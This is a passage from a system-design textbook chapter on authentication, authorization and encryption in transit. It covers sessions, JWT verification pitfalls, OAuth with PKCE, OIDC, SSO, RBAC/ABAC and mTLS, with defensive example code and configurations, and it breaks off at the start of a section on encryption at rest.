11. Security, Privacy, and Compliance

Security is not a component you add to a system but a property that emerges from a thousand design decisions, and the expensive ones are structural: where trust boundaries sit, who holds the keys, what data you chose to collect. This chapter covers how identity is established and enforced across services, how data is protected in transit and at rest, the threat classes worth designing against, and the privacy and regulatory constraints that increasingly dictate where data may live and how long you may keep it.

<a id="111-authentication-and-authorization"></a>

11.1 Authentication and Authorization

Authentication answers "who are you?" and authorization answers "what may you do?" — two separate questions that a surprising number of breaches come from conflating. This subchapter covers how identity is established, carried across a distributed system, and turned into access decisions.

Session-Based vs. Token-Based Auth

After a user proves who they are once, every subsequent request has to carry proof of that fact, because HTTP itself remembers nothing. There are two ways to do it, and the difference is where the truth lives.

Session-based authentication keeps the state on the server. Login creates a session record, and the client receives an opaque session ID in a cookie. Each request looks the session up, so the server always knows the current truth — and revoking access is a single delete. Token-based authentication keeps the state in the token itself: the server signs a document containing the user's identity and claims, and the client presents it. No lookup is needed, because the signature proves the contents were not tampered with.

The analogy that makes it stick: a session ID is a coat-check ticket — a meaningless number that only works because the cloakroom holds the coat. A signed token is a passport — self-describing, verifiable by anyone with the issuer's public key, and impossible to un-issue once it is in someone's hand.

 SESSION (stateful)                      TOKEN (stateless)

 login                                   login
   |                                       |
   v                                       v
 store session in Redis                  sign a JWT with the user's claims
   |  sid = "a7f3..."                      |  eyJhbGci...<payload>...<sig>
   v                                       v
 Set-Cookie: sid=a7f3                    return the token to the client

 request                                 request
   Cookie: sid=a7f3                        Authorization: Bearer eyJ...
   |                                       |
   v                                       v
 GET session from Redis  <-- lookup      verify signature  <-- no lookup
   |  (network hop, must be up)            |  (local, microseconds)
   v                                       v
 always current truth                    truth as of ISSUE time
 revoke = DELETE (instant)               revoke = hard (see below)

import time, jwt          # PyJWT
import secrets

# ---- SESSION: the server holds the truth -----------------------------------
def login_session(user, store, response):
    sid = secrets.token_urlsafe(32)                  # opaque, unguessable
    store.setex(f"sess:{sid}", 3600, {"user_id": user.id, "roles": user.roles})
    response.set_cookie("sid", sid,
                        httponly=True,   # JavaScript cannot read it -> XSS-safer
                        secure=True,     # HTTPS only
                        samesite="Lax")  # blocks most CSRF (see 11.3)

def authenticate_session(request, store):
    sid = request.cookies.get("sid")
    session = store.get(f"sess:{sid}") if sid else None
    return session          # None once deleted: revocation is immediate

def logout_session(sid, store):
    store.delete(f"sess:{sid}")                      # instantly effective

# ---- TOKEN: the token holds the truth --------------------------------------
def login_token(user, private_key):
    now = int(time.time())
    return jwt.encode({
        "sub": str(user.id),
        "roles": user.roles,
        "iat": now,
        "exp": now + 900,          # 15 minutes: short, because you CANNOT revoke
        "iss": "auth.example.com",
        "aud": "api.example.com",
    }, private_key, algorithm="RS256")

def authenticate_token(request, public_key):
    raw = request.headers["Authorization"].removeprefix("Bearer ")
    # Verification is local: no database, no network, no shared state.
    return jwt.decode(raw, public_key, algorithms=["RS256"],
                      audience="api.example.com", issuer="auth.example.com")

The trade is revocation versus scale. A session can be killed instantly but every request costs a lookup, and every service needs reach into the session store. A token verifies locally at any scale but stays valid until it expires — a fired employee's token works until the clock runs out. The standard resolution is a hybrid: short-lived access tokens (5–15 minutes) plus a long-lived refresh token that is stateful and revocable, so the worst-case exposure is one access-token lifetime.

Property	Session (stateful)	Token (stateless)
Where truth lives	Server store	Inside the token
Per-request cost	A store lookup	Signature verification (local)
Revocation	Immediate	Only at expiry, or via a denylist
Horizontal scaling	Needs a shared store	Nothing shared
Cross-domain / mobile	Cookies get awkward	Natural (Authorization header)
Payload visibility	Nothing exposed	Claims readable by the client
Typical use	Server-rendered web apps	APIs, SPAs, service-to-service

One decision is independent of the above and often gotten wrong: where the browser stores the credential. A cookie with HttpOnly cannot be read by injected JavaScript, which is the main defence against XSS-driven theft; a token in localStorage can be read by any script on the page. Storing a JWT in an HttpOnly cookie combines the token model with the safer storage, at the cost of needing CSRF protection again.

Key Takeaways

• Sessions keep truth on the server (instant revocation, per-request lookup); tokens carry truth in a signed payload (local verification, no shared state).
• The trade is revocation versus scale — hybrids use short access tokens plus a revocable refresh token to get both.
• Token lifetime is your revocation window; choose it as a security decision, not a convenience one.
• HttpOnly cookies protect the credential from XSS; localStorage does not.
• Cookie-based schemes need CSRF defences (SameSite, tokens); header-based schemes largely do not.

🧪 Practice

1. Implement login and logout both ways for a small API and measure the per-request cost difference under load.
2. Design a revocation strategy for a stateless token system that keeps the worst-case exposure under five minutes without a lookup on every request.
3. Interview: A user clicks "log out everywhere" in a JWT-based system. What actually has to happen? (Hint: think about what the server can and cannot take back, and what state you would have to reintroduce.)

JWT Structure and Pitfalls

A JSON Web Token is three base64url-encoded parts joined by dots: a header describing the algorithm, a payload of claims, and a signature over the first two. Understanding the structure matters because almost every JWT vulnerability comes from misunderstanding what the signature does and does not guarantee.

The signature guarantees integrity and authenticity — the contents have not been altered and were issued by someone holding the key. It guarantees nothing about confidentiality: the payload is encoded, not encrypted, and anyone holding the token can read every claim. Putting a national ID number or an internal database URL in a JWT publishes it to the client.

 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdWIiOiIxMiIsImV4cCI6MTc... . SflKxw...
 |________________________________|     |______________________|      |________|
            HEADER                              PAYLOAD               SIGNATURE
   {"alg":"RS256","typ":"JWT",           {"sub":"12","exp":...,       over
    "kid":"2026-08"}                      "roles":["admin"]}          header.payload

   base64url, NOT encrypted  ------------------^
   anyone can decode and read the claims; only the key holder can FORGE them

import jwt, time

# ---- Verification done correctly -------------------------------------------
def verify(token, public_key):
    return jwt.decode(
        token,
        public_key,
        algorithms=["RS256"],        # PIN the algorithm: never trust header.alg
        audience="api.example.com",  # is this token FOR me?
        issuer="auth.example.com",   # did someone I trust issue it?
        options={"require": ["exp", "iat", "sub", "aud", "iss"]},
    )
    # Libraries validate `exp` by default -- but only if you let them, and only
    # if the claim is present. Requiring it explicitly closes that gap.

# ---- The classic vulnerabilities, and why they work ------------------------
# 1. ALGORITHM CONFUSION: the attacker rewrites the header to {"alg":"none"}
#    and strips the signature. A library called as jwt.decode(token, verify=False)
#    or one that reads alg from the header will accept it.
#       FIX: always pass an explicit `algorithms=[...]` allowlist.
#
# 2. RS256 -> HS256 DOWNGRADE: the attacker changes alg to HS256 and signs with
#    the PUBLIC key as the HMAC secret. A naive verifier that "uses the key from
#    config with whatever algorithm the header says" validates it happily.
#       FIX: same allowlist -- the two families must never be interchangeable.
#
# 3. NO EXPIRY CHECK: a token without `exp`, or a verifier that skips it, never
#    stops working.
#       FIX: require `exp` and keep lifetimes short.
#
# 4. NO AUDIENCE CHECK: a token minted for the analytics API is replayed against
#    the payments API. Both trust the same issuer, so the signature is valid.
#       FIX: every service verifies `aud` matches itself.

Key rotation is the operational half of the story. The header's kid (key ID) lets an issuer publish several public keys at once via a JWKS endpoint, so a new signing key can be introduced while tokens signed by the old one are still in flight.

// GET https://auth.example.com/.well-known/jwks.json
{
  "keys": [
    { "kid": "2026-08", "kty": "RSA", "alg": "RS256", "use": "sig",
      "n": "0vx7...", "e": "AQAB" },
    { "kid": "2026-05", "kty": "RSA", "alg": "RS256", "use": "sig",
      "n": "sXch...", "e": "AQAB" }
  ]
}
// Verifiers cache this, select by the token's `kid`, and refetch on an unknown
// kid (with a rate limit -- an unbounded refetch is a denial-of-service lever).
// Rotation: publish the new key, wait one max-token-lifetime, then sign with
// it, wait again, then remove the old key. Never flip in one step.

Two design rules round it out. Keep tokens small: they ride on every request, and a 4 KB token of embedded permissions costs bandwidth on every call and can overflow header limits. Put an identity and coarse roles in the token, and look up fine-grained permissions server-side. And use asymmetric signing (RS256/ES256) between services: with HS256 every verifier needs the secret, which means every verifier can also mint tokens — a single compromised read-only service becomes an identity forge.

Key Takeaways

• A JWT is signed, not encrypted: claims are world-readable, so never put secrets in the payload.
• Always pass an explicit algorithm allowlist; alg: none and RS256→HS256 downgrade are the classic forgeries.
• Verify exp, aud, and iss on every service — a valid signature alone does not mean the token was meant for you.
• Use kid plus a JWKS endpoint so keys can rotate with overlap; never flip keys in one step.
• Prefer asymmetric signing so verifiers cannot mint tokens, and keep payloads small.

🧪 Practice

1. Decode a JWT by hand (base64url) and list every claim; identify anything you would not want a client to read.
2. Write a verifier that rejects alg: none, a wrong audience, and an expired token, with a distinct test for each.
3. Interview: How do you rotate a JWT signing key with zero downtime? (Hint: think about tokens already in flight, and what the verifier must be able to do before the signer changes.)

OAuth 2.0 Flows

OAuth 2.0 is an authorization delegation framework, not a login protocol. It exists to answer one question: how can an application get limited access to a user's data on another service without the user handing over their password? Before OAuth, "connect your Gmail" meant typing your Google password into a third party — which gave it everything, forever, and made password rotation break every integration.

OAuth's answer is to route the user to the service that already knows them, have them approve a specific, limited scope, and return a token to the application that grants only that. Four roles: the resource owner (the user), the client (the app requesting access), the authorization server (issues tokens), and the resource server (holds the data).

 AUTHORIZATION CODE FLOW WITH PKCE -- the default for essentially all clients

  user      client app            authorization server       resource server
   |            |                          |                        |
   |  "connect" |                          |                        |
   |----------->| generate code_verifier   |                        |
   |            | challenge = S256(verifier)                        |
   |  redirect with client_id, scope, redirect_uri, code_challenge  |
   |<-----------|------------------------->|                        |
   |  log in + consent screen              |                        |
   |-------------------------------------->|                        |
   |  redirect back with ?code=abc123      |                        |
   |<--------------------------------------|                        |
   |----------->|                          |                        |
   |            | POST /token              |                        |
   |            |   code=abc123            |                        |
   |            |   code_verifier=<origin> |  <-- proves the SAME client
   |            |------------------------->|      that started the flow
   |            |   access_token (+refresh)|      is redeeming the code
   |            |<-------------------------|                        |
   |            |  GET /data  Authorization: Bearer <access_token>   |
   |            |--------------------------------------------------->|

  The code travels through the browser (interceptable); the token never does.
  PKCE makes an intercepted code useless without the verifier.

import hashlib, base64, secrets, requests

# ---- Step 1: the client starts the flow ------------------------------------
verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b"=").decode()
challenge = base64.urlsafe_b64encode(
    hashlib.sha256(verifier.encode()).digest()).rstrip(b"=").decode()
state = secrets.token_urlsafe(16)          # CSRF defence for the redirect

authorize_url = (
    "https://auth.example.com/authorize"
    f"?response_type=code&client_id={CLIENT_ID}"
    f"&redirect_uri={REDIRECT_URI}"
    "&scope=contacts.read"                 # ask for the LEAST you need
    f"&state={state}&code_challenge={challenge}&code_challenge_method=S256"
)
# Store `verifier` and `state` in the user's session, then redirect.

# ---- Step 2: the callback, after the user consents -------------------------
def callback(request, session):
    if request.args["state"] != session["state"]:
        raise SecurityError("state mismatch")     # someone else started this flow
    resp = requests.post("https://auth.example.com/token", data={
        "grant_type": "authorization_code",
        "code": request.args["code"],
        "redirect_uri": REDIRECT_URI,
        "client_id": CLIENT_ID,
        "code_verifier": session["verifier"],     # the PKCE proof
    })
    return resp.json()      # {"access_token": ..., "refresh_token": ..., "expires_in": 3600}

The grant types that remain current, and what each is for:

Grant	Use it for	Notes
Authorization code + PKCE	Web apps, SPAs, mobile — the default	PKCE now recommended even with a secret
Client credentials	Machine-to-machine, no user involved	The service is the resource owner
Device code	TVs, CLIs, input-constrained devices	User authorizes on a second device
Refresh token	Getting a new access token silently	Rotate on use; detect reuse
Implicit (deprecated)	—	Returned tokens in the URL; do not use
Password grant (deprecated)	—	Requires handing over the password

Three practical rules cause most of the real-world failures when ignored. Redirect URIs must be exact-matched against a registered allowlist — wildcard or prefix matching lets an attacker redirect the code to a subdomain they control. Scopes should be minimal and granular, because a scope is the only thing limiting what the token can do. And refresh tokens should rotate on every use, with reuse of an old refresh token treated as theft and the whole chain revoked — the standard detection for a stolen refresh token.

Key Takeaways

• OAuth 2.0 delegates limited authorization; it is not an authentication protocol on its own (that is OIDC, next topic).
• Authorization code with PKCE is the correct default for every client type; implicit and password grants are deprecated.
• PKCE binds the authorization code to the client that started the flow, so an intercepted code is useless.
• Validate state against session state, and exact-match redirect URIs against a registered allowlist.
• Request minimal scopes, keep access tokens short, and rotate refresh tokens with reuse detection.

🧪 Practice

1. Implement the PKCE verifier/challenge pair and show that a mismatched verifier is rejected at the token endpoint.
2. Design the scope set for a calendar integration that only needs to create events, and justify why each scope you excluded is unnecessary.
3. Interview: Why is PKCE needed even for a confidential client with a secret? (Hint: think about where the authorization code travels and what else could be running on the user's device.)

OpenID Connect

OAuth 2.0 tells an application what it may access; it says nothing reliable about who the user is. Applications nonetheless tried to use it for login — "I got an access token for their profile, so they must be who they claim" — which is unsound. An access token is a bearer credential: it proves possession, not identity, and it can have been minted for a different application entirely.

OpenID Connect (OIDC) is a thin identity layer on top of OAuth 2.0 that fixes this by adding a second token with a precise meaning. The ID token is a JWT addressed to a specific client, describing an authentication event: this user, at this time, authenticated with this method, at this issuer. It is meant to be verified by the client, not sent anywhere.

 OAuth 2.0 alone                        OpenID Connect

  access_token  ---> resource server     access_token ---> resource server
  (opaque, for the API)                  (unchanged: authorization)

  "who is the user?"                     id_token ---> the CLIENT verifies it
   -> call some /me endpoint,            {
      hope it belongs to this token        "iss": "https://accounts.example.com",
                                           "aud": "my-client-id",   <- for ME
  no standard, no guarantees               "sub": "248289761001",   <- stable ID
                                           "auth_time": 1756200000,
                                           "nonce": "n-0S6_WzA2Mj", <- replay guard
                                           "email": "a@example.com",
                                           "email_verified": true
                                         }
                                        + a standard /userinfo endpoint
                                        + standard discovery + JWKS

import jwt, requests, secrets

# The nonce is generated before the redirect and stored in the session; it ties
# the returned ID token to THIS authentication request.
nonce = secrets.token_urlsafe(16)
authorize_url = (
    "https://accounts.example.com/authorize"
    f"?response_type=code&client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}"
    "&scope=openid%20profile%20email"        # `openid` is what makes it OIDC
    f"&state={state}&nonce={nonce}&code_challenge={challenge}"
    "&code_challenge_method=S256"
)

def verify_id_token(id_token, session, jwks_client):
    key = jwks_client.get_signing_key_from_jwt(id_token).key   # by `kid`
    claims = jwt.decode(
        id_token, key,
        algorithms=["RS256"],
        audience=CLIENT_ID,                  # MUST be my client_id, not another's
        issuer="https://accounts.example.com",
    )
    if claims["nonce"] != session["nonce"]:  # replay of an older id_token
        raise SecurityError("nonce mismatch")
    return claims

def local_user_key(claims):
    # `sub` is the only stable identifier. Email changes, and two providers can
    # report the same email for different people -- key your users on
    # (issuer, sub), never on email alone.
    return (claims["iss"], claims["sub"])

Discovery is the other practical contribution: every compliant provider exposes /.well-known/openid-configuration listing its endpoints, supported scopes, and JWKS URL, so integrating a new identity provider becomes configuration rather than bespoke code.

Token	Audience	Purpose	Sent to the API?
ID token	The client app	Proves an authentication event	No
Access token	The resource API	Grants scoped access	Yes
Refresh token	The auth server	Obtains new access tokens	No

The single most common OIDC mistake is sending the ID token to backend APIs as if it were an access token. It is addressed to the client (aud = client ID), so a correctly implemented API must reject it — and an API that accepts it is skipping audience validation, which is a vulnerability in itself.

Key Takeaways

• OIDC adds authentication to OAuth 2.0 via an ID token: a JWT addressed to the client describing an authentication event.
• An access token never proves identity; using one for login is unsound.
• Validate the ID token's signature, iss, aud, exp, and nonce before trusting any claim in it.
• Identify users by (issuer, sub); email is mutable and not unique across providers.
• Do not send ID tokens to APIs — an API that accepts one is not checking audience.

🧪 Practice

1. Fetch a real provider's discovery document and map each endpoint to its role in the flow.
2. Write ID token validation including the nonce check, and add a test that a replayed token from a previous login is rejected.
3. Interview: A developer authenticates users by calling /userinfo with an access token. What is wrong? (Hint: ask who that access token was issued to and how the app would know.)

Single Sign-On

Single sign-on lets a user authenticate once with a central identity provider and access many applications without logging in again. The motivation is partly convenience but mostly security and control: one place enforces MFA and password policy, one place logs every authentication, and one revocation — disabling the account — cuts access to every connected application at once. The alternative, per-application credentials, guarantees password reuse and leaves orphaned accounts behind every departure.

The mechanism is a trust relationship. Applications (service providers, or "relying parties") do not verify credentials themselves; they redirect to the identity provider (IdP), which authenticates the user and returns a signed assertion. The application trusts the assertion because it trusts the IdP's signing key.

 SSO ACROSS APPLICATIONS

  1. user -> app-A          (no session)
  2. app-A -> redirect to IdP
  3. IdP: no IdP session -> prompt for credentials + MFA
  4. IdP sets ITS OWN session cookie, signs an assertion, redirects back
  5. app-A validates the assertion, creates its own local session

  later, a different app:
  6. user -> app-B          (no session)
  7. app-B -> redirect to IdP
  8. IdP: session cookie already present -> NO prompt
  9. signed assertion -> app-B creates its local session

  The user "did not log in" to app-B. The IdP silently vouched for them.

  Sessions in play:   IdP session (the master)  +  one local session per app
  Which is why logout is the hard part -->

# Single logout: the part every SSO deployment underestimates.
# Killing the IdP session does NOT kill the applications' local sessions.

def logout(user_id, idp_session, app_registry):
    idp_session.destroy(user_id)              # 1. no further silent SSO

    # 2. Each application must be told, or its local session keeps working
    #    until it expires -- meaning the user is still logged in somewhere.
    for app in app_registry.for_user(user_id):
        try:
            app.post("/backchannel-logout", {          # OIDC back-channel logout
                "logout_token": mint_logout_token(user_id, audience=app.client_id)
            }, timeout=2)
        except Exception:
            # Best-effort by nature: an app that is down keeps its session.
            # This is exactly why local sessions must ALSO be short-lived.
            log.warn("logout_notify_failed", app=app.client_id)

# Design consequence: SSO does not remove the need for short session lifetimes.
# It centralizes authentication, not session termination.

The two protocol families in practice:

Aspect	SAML 2.0	OIDC
Format	XML assertions	JSON / JWT
Era and fit	Enterprise, long-established	Modern web, mobile, APIs
Transport	Browser POST bindings	Standard HTTP redirects + JSON
Mobile / SPA	Awkward	Native fit
Complexity	High (XML signatures, canonicalization)	Moderate
When to choose	Integrating enterprise IdPs that require it	Everything new

Two structural risks come with centralization. The IdP becomes a single point of failure for all access — so it needs the highest availability tier in the estate, and applications need a documented break-glass path. And it becomes the highest-value target in the organization, since compromising it compromises everything; that is the argument for phishing-resistant MFA (WebAuthn/FIDO2), strict admin separation, and heavy monitoring on the IdP specifically.

Key Takeaways

• SSO centralizes authentication so MFA, policy, logging, and revocation happen in one place.
• Trust flows through a signed assertion; applications never see credentials.
• There is one IdP session plus one local session per application — SSO centralizes login, not logout.
• Single logout is best-effort; keep local sessions short so a failed notification has a bounded consequence.
• The IdP is both a single point of failure and the highest-value target: it needs top-tier availability, phishing-resistant MFA, and dedicated monitoring.

🧪 Practice

1. Draw the redirect sequence for a user reaching a second application with an existing IdP session, marking every cookie involved.
2. Design a logout flow that bounds "still logged in somewhere" to five minutes even when one application is unreachable.
3. Interview: What happens to your entire estate if the IdP is down for an hour? (Hint: distinguish users with live sessions from users needing a new one, and consider what a break-glass path would have to bypass.)

RBAC and ABAC

Authorization models are how "what may you do?" gets answered consistently rather than through scattered if statements. The two dominant models differ in what the decision is based on: fixed roles, or arbitrary attributes evaluated at request time.

Role-based access control (RBAC) assigns permissions to roles and roles to users. It is simple to reason about, easy to audit ("who can approve refunds?" is a query), and matches how organizations already describe themselves. Its limit is context: a role cannot express "during business hours", "only their own department's records", or "only below 10,000 euro".

Attribute-based access control (ABAC) evaluates a policy over attributes of the subject, the resource, the action, and the environment. It expresses those conditional rules naturally, at the cost of policies that are harder to audit — answering "who can access this document?" may require evaluating the policy against every user.

 RBAC                                    ABAC

  user ----> role ----> permissions       decision = f(subject, resource,
  alice      editor     doc.read                       action, environment)
                        doc.write
                                          allow if
  "Can alice write docs?"                   subject.department == resource.owner_dept
   -> is 'editor' in alice.roles            and action == "read"
   -> does 'editor' grant doc.write         and env.time in business_hours
   -> yes                                   and resource.classification != "secret"

  simple, auditable, coarse               expressive, contextual, harder to audit

# ---- RBAC: a permission matrix, resolved by set membership -----------------
ROLE_PERMISSIONS = {
    "viewer":  {"doc.read"},
    "editor":  {"doc.read", "doc.write"},
    "admin":   {"doc.read", "doc.write", "doc.delete", "user.manage"},
}

def rbac_allows(user, permission):
    return any(permission in ROLE_PERMISSIONS.get(r, set()) for r in user.roles)

# Cannot express: "editors may only edit documents in their own department",
# which is why real systems drift toward roles like `editor_finance_emea` --
# the role explosion that signals RBAC has been pushed past its limit.

# ---- ABAC: a policy evaluated against attributes at request time -----------
def abac_allows(subject, resource, action, env):
    if subject["clearance"] < resource["classification_level"]:
        return False                                   # deny rules first
    if action == "read":
        return (resource["owner_dept"] == subject["dept"]
                or resource["visibility"] == "org_wide")
    if action == "write":
        return (resource["owner_id"] == subject["id"]
                and env["hour"] in range(8, 20)        # contextual condition
                and env["network"] == "corporate")
    if action == "approve":
        return ("approver" in subject["roles"]
                and resource["amount"] <= subject["approval_limit"])  # data-driven
    return False                                       # default deny

Most mature systems use both: RBAC for coarse capability ("can this person approve refunds at all?") and attribute conditions for the fine-grained constraints ("up to their limit, in their region"). Two further variants are worth knowing: ReBAC (relationship-based, as in "can view because they are a member of the parent folder's group") which fits document and collaboration systems, and policy-as-code engines that externalize the rules entirely.

# Policy as code (OPA/Rego): rules live outside the application and are
# versioned, tested, and deployed independently of the service.
package authz

default allow := false

allow if {                                   # coarse capability from RBAC
    "approver" in input.subject.roles
    input.action == "approve"
    input.resource.amount <= input.subject.approval_limit
}

allow if {
    input.action == "read"
    input.resource.owner_dept == input.subject.dept
}
# The application asks "may I?" and enforces the answer; it does not contain
# the rules. That separation is what makes policy auditable and changeable
# without a code deploy.

Three rules apply to any model. Default deny — the absence of a matching allow rule is a denial, so a new resource type is inaccessible rather than public. Enforce server-side at the data boundary, because a UI that hides a button has not prevented the API call. And never take the authorization subject from the request body: the identity comes from the verified token, or a client can simply claim to be someone else.

Key Takeaways

• RBAC maps users to roles to permissions: simple and auditable, but blind to context; role explosion is the symptom of pushing it too far.
• ABAC evaluates policies over subject, resource, action, and environment attributes: expressive and contextual, harder to audit.
• Most systems combine coarse roles with attribute conditions; ReBAC suits collaboration and hierarchy-shaped permissions.
• Externalizing policy as code makes rules versionable, testable, and deployable without shipping the service.
• Always default deny, always enforce server-side, and always take the subject from the verified token rather than the request.

🧪 Practice

1. Model a document system in RBAC, then add "only within the owner's department" and observe how many roles that requires.
2. Write the equivalent ABAC policy and a test suite covering the allow path, the deny path, and the missing-attribute path.
3. Interview: Your RBAC system has 400 roles for 200 users. What went wrong and what do you do? (Hint: look at what distinguishes roles from one another — capability, or context that should have been an attribute.)

Service-to-Service Authentication and mTLS

Inside a distributed system, services call each other constantly, and each call needs an answer to "is the caller who it claims to be, and may it do this?". Network location is not an answer. The traditional model — a trusted internal network where anything inside the perimeter is assumed friendly — fails the moment any single service, container, or CI runner is compromised, because the attacker inherits the whole network's trust.

Mutual TLS (mTLS) provides cryptographic identity for both sides of every connection. Ordinary TLS authenticates the server to the client; mTLS adds the reverse, so each service presents a certificate that names it, and each verifies the other against a shared certificate authority. Identity becomes a property of the connection, verified by cryptography rather than inferred from an IP address.

 NETWORK-PERIMETER TRUST                 mTLS IDENTITY

  [ firewall ]                            every connection:
   inside = trusted                        client cert: spiffe://prod/orders
     [orders] --> [payments]               server cert: spiffe://prod/payments
     [wiki]   --> [payments]  <-- also         both verified against the CA
     [ci]     --> [payments]  <-- also
                                          payments' policy:
  one compromised host inside               allow spiffe://prod/orders
  can call anything                         deny  everything else

  identity = "you reached the port"       identity = a certificate you must
                                                     hold the private key for

# In a service mesh, mTLS and its policy are infrastructure configuration:
# certificates are issued, rotated, and verified by sidecars, so application
# code never handles a private key.
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
  name: default
  namespace: prod
spec:
  mtls:
    mode: STRICT          # reject any plaintext connection in this namespace
---

apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: payments-callers
  namespace: prod
spec:
  selector:
    matchLabels: { app: payments }
  action: ALLOW           # with an ALLOW policy present, everything else denies
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/prod/sa/orders"]   # cryptographic identity
    to:
    - operation:
        methods: ["POST"]
        paths: ["/v1/charges"]        # least privilege at the endpoint level

Certificate lifetime is the key operational decision, and it is the opposite of the web-PKI instinct. Internal workload certificates should be short — hours, not years — because a short lifetime bounds the damage of a stolen key and forces the rotation machinery to be exercised constantly rather than annually by hand. That is only viable with automated issuance (SPIFFE/SPIRE, a mesh CA, or an internal PKI with an agent).

The alternative and complement to mTLS is token-based service identity: the caller obtains a short-lived token from an issuer (via the OAuth client credentials grant or a workload identity federation) and presents it. The two solve overlapping problems at different layers.

Approach	Identity is bound to	Strengths	Watch out for
mTLS	The TLS connection	Encrypts too; transparent to app code	PKI operations; per-connection only
Service tokens (JWT/OAuth)	The request	Carries claims; works across hops/proxies	Must verify aud; bearer = stealable
Network policy / firewall	The IP address	Cheap defence in depth	Not an identity; forgeable inside
API keys	A shared secret	Trivial to implement	Long-lived, hard to rotate, leaks

The common mature pattern is mTLS for transport identity and encryption plus a propagated token carrying the end user's identity, because the two answer different questions: mTLS proves which service called, while the token preserves on whose behalf. A payments service usually needs both — and must never infer the user from an unauthenticated header the caller supplied.

Key Takeaways

• Network location is not an identity; perimeter trust collapses the moment one internal host is compromised.
• mTLS gives both sides cryptographic identity plus encryption, and in a mesh it is configuration rather than application code.
• Keep workload certificate lifetimes short (hours) with automated issuance — short lifetimes bound key theft and keep rotation exercised.
• Authorize on cryptographic identity with least privilege per endpoint, not on IP ranges.
• Combine transport identity (which service) with a propagated token (which user); never trust a caller-supplied user header.

🧪 Practice

1. Configure strict mTLS between two services and verify that a plaintext client is rejected.
2. Write an authorization policy allowing exactly one caller to one endpoint, and test that a second service is denied.
3. Interview: A service needs to know both which service called it and which user initiated the request. How do you carry both? (Hint: think about which layer each identity belongs to and what would happen if the user identity were just a header.)

<a id="112-data-protection"></a>

11.2 Data Protection

Authentication controls who gets in; data protection limits what an attacker gains when something else has already failed. This subchapter covers encryption on the wire and at rest, the key and secret management that makes encryption meaningful, and the specialized handling that passwords and sensitive fields require.

Encryption in Transit

Data moving between two machines passes through equipment neither party controls: switches, load balancers, ISPs, cloud fabric, and occasionally an attacker's laptop on the same coffee-shop Wi-Fi. Encryption in transit makes that path irrelevant by ensuring anyone in the middle sees ciphertext, cannot alter it undetected, and cannot impersonate the endpoint.

TLS provides three distinct guarantees, and it is worth separating them because designs often need to reason about one at a time. Confidentiality: the payload is unreadable in transit. Integrity: modification is detected. Authentication: the server proves it owns the domain, via a certificate chaining to a trusted authority. Encryption without that third property is worthless — an attacker who can intercept can also offer their own key.

 TLS 1.3 HANDSHAKE -- one round trip, then application data

  client                                            server
    |  ClientHello: supported ciphers, key share       |
    |------------------------------------------------->|
    |  ServerHello: chosen cipher, key share,          |
    |    certificate, signature over the handshake     |
    |<-------------------------------------------------|
    |  verify cert chain -> trusted CA?                |
    |  verify hostname   -> matches what I asked for?  |
    |  derive shared secret (ECDHE)                    |
    |  Finished                                        |
    |------------------------------------------------->|
    |========== encrypted application data ============|

  ECDHE gives FORWARD SECRECY: the session key is derived per connection and
  never transmitted, so stealing the server's private key later does NOT
  decrypt recorded past traffic.

  TLS 1.2: two round trips, optional forward secrecy, weak ciphers permitted.
  TLS 1.3: one round trip, forward secrecy mandatory, weak ciphers removed.

# A modern, boring TLS configuration -- the goal is no interesting choices.
server {
    listen 443 ssl;
    http2 on;
    server_name api.example.com;

    ssl_certificate     /etc/ssl/fullchain.pem;   # leaf + intermediates, in order
    ssl_certificate_key /etc/ssl/privkey.pem;     # never leaves the host

    ssl_protocols TLSv1.2 TLSv1.3;                # 1.0/1.1 are dead; drop them
    ssl_prefer_server_ciphers off;                # TLS 1.3: let the client pick
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    #           ^ ECDHE = forward secrecy   ^ GCM = authenticated encryption

    ssl_session_tickets off;   # ticket keys, if not rotated, undo forward secrecy
    ssl_stapling on;           # staple OCSP so clients need no extra round trip

    # Tell browsers to never use plaintext for this domain again.
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;

    location / { proxy_pass http://backend; }
}

server {
    listen 80;
    server_name api.example.com;
    return 301 https://$host$request_uri;   # redirect, but HSTS is the real fix
}

The architectural decisions sit around TLS rather than inside it. Where does TLS terminate? Terminating at the load balancer simplifies certificate management but leaves the hop to the backend in plaintext — acceptable only if that segment is genuinely trusted, which in a shared cloud network it usually is not. Re-encrypting to the backend, or running mTLS end to end (11.1), closes it.

Internal traffic needs it too. "It is inside the VPC" assumes an attacker never gets inside, which is precisely the assumption zero trust rejects (see 11.3). Certificate lifecycle must be automated: expired certificates are one of the most common self-inflicted outages, and ACME-based renewal with expiry alerting removes the entire class.

Decision	Option A	Option B
Termination point	At the edge (simpler)	End-to-end / re-encrypt (safer)
Internal traffic	Plaintext in a "trusted" VPC	mTLS everywhere (zero trust)
Cert issuance	Manual purchase	ACME automation, short lifetimes
Client verification	Server-auth only	Mutual TLS for service-to-service
Pinning (mobile apps)	None	Pin to a CA or key, with a backup pin

Key Takeaways

• TLS provides confidentiality, integrity, and server authentication; the third is what makes the first two meaningful.
• Prefer TLS 1.3, require forward secrecy (ECDHE), and drop TLS 1.0/1.1 and non-AEAD ciphers.
• HSTS prevents downgrade to plaintext far more reliably than an HTTP redirect.
• Decide deliberately where TLS terminates; a plaintext hop behind the load balancer is a real exposure, not a detail.
• Automate certificate renewal and alert on expiry — expired certs are a leading cause of self-inflicted outages.

🧪 Practice

1. Test a live endpoint's TLS configuration and list every protocol or cipher you would disable, with a reason for each.
2. Configure HSTS with a preload-eligible policy and explain what breaks if you later need to serve that domain over HTTP.
3. Interview: Your load balancer terminates TLS and talks HTTP to backends. Is that acceptable? (Hint: ask who else can observe that network segment, and what your answer would be during an audit.)

Encryption at Rest

Encryption at rest protects data on storage media from anyone who obtains the media rather than the application: a stolen disk, a decommissioned drive, a snapshot copied out of a cloud account, a backup file on someone's laptop. It is also the control most often misunderstood, because it defends against a specific threat and not against the ones people assume.

The critical distinction is where encryption happens, because that determines what an attacker must compromise to read the data.

 LAYERS OF AT-REST ENCRYPTION -- each defeats a different attacker

  application-level (field encryption)
    ciphertext in the DB; only the app can decrypt
    defeats: stolen disk, DB dump, malicious DBA, SQL injection reading rows
        |
